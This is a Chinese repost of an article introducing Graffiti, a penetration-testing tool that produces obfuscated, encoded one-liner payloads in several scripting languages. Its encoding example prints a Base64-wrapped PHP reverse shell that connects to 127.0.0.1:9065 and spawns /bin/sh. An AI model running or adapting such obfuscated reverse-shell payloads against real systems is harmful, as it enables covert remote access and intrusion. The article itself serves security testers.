Graffiti:一款专为渗透测试人员的混淆代码One Liner

栏目: 编程工具 · 发布时间: 4年前

内容简介:今天给大家介绍的这款工具名叫Graffiti,各位研究人员可以利用这款工具来生成经过混淆处理的One Liner,并将其用于渗透测试研究中的各种测试场景。除此之外,Graffiti还支持将生成的Oneliner存储至数据库中。

Graffiti:一款专为渗透测试人员的混淆代码One Liner

今天给大家介绍的这款 工具 名叫Graffiti,各位研究人员可以利用这款工具来生成经过混淆处理的One Liner,并将其用于渗透测试研究中的各种测试场景。

Graffiti目前支持编码的编程语言代码种类如下:

Python
Perl
Batch
Powershell
PHP
Bash

除此之外,Graffiti还支持将生成的Oneliner存储至数据库中。

功能介绍

Graffiti自带有数据库,可允许研究人员将生成的编码Payload或混淆后的One Liner插入进数据库中,以便终端用户直接查看或后续直接使用。Graffiti在对Payload进行编码时,使用了下列技术:

-异或计算
-Base64编码
-十六进制编码
-ROT13
-元数据编码

除此之外,Graffiti还提供了下列功能

1、 终端窗口拖拽访问,支持运行外部命令;
2、 可支持创建自己的Payload JSON文件;
3、 支持查看数据库缓存中的Payload信息;
4、 可在内存中运行数据库以实现快速检测;
5、 终端历史记录存储及查看;
6、 终端Tab命令自动补全;
7、 数据库文件及历史记录文件安全存储/传输;
8、 可实现多种编码技术。

工具使用

Graffiti本身内置终端工具,可直接通过拖拽源文件实现编码,无需手动传递参数。工具支持查看历史记录,并能够运行外部命令,以及其本身自带的内部命令。输入“help”或“?”即可查看工具的帮助信息:

Graffiti:一款专为渗透测试人员的混淆代码One Liner

当然了,Graffiti还可以接收命令行参数来帮助用户自定义编码Payload:

Graffiti:一款专为渗透测试人员的混淆代码One Liner

Payload编码样例

root@graffiti:~/graffiti#python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1-lP 9065
Encoded Payload:
--------------------------------------------------
php-r'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------

Graffiti工具演示

演示视频: https://vimeo.com/303548362

工具安装

在任何版本的 Linux 、macOS以及Windows平台上,Graffiti都可以在无需任何外部组件的情况下正常运行。如果你想要将Graffiti以可执行程序的形式安装在你的系统中,你只需要运行下列命令即可:

./install.sh

这条命令将会帮助你将Graffiti安装到你的系统中,并能够从任意位置运行。

项目地址

Graffiti:【 GitHub传送门 】 

* 参考来源: Ekultek ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《Graffiti:一款专为渗透测试人员的混淆代码One Liner》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

虚拟化与云计算

虚拟化与云计算

《虚拟化与云计算》小组 / 电子工业出版社 / 2009-10 / 45.00元

本书系统阐述了当今信息产业界最受关注的两项新技术——虚拟化与云计算。云计算的目标是将各种IT资源以服务的方式通过互联网交付给用户。计算资源、存储资源、软件开发、系统测试、系统维护和各种丰富的应用服务,都将像水和电一样方便地被使用,并可按量计费。虚拟化实现了IT资源的逻辑抽象和统一表示,在大规模数据中心管理和解决方案交付方面发挥着巨大的作用,是支撑云计算伟大构想的最重要的技术基石。本书以在数据中心采......一起来看看 《虚拟化与云计算》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具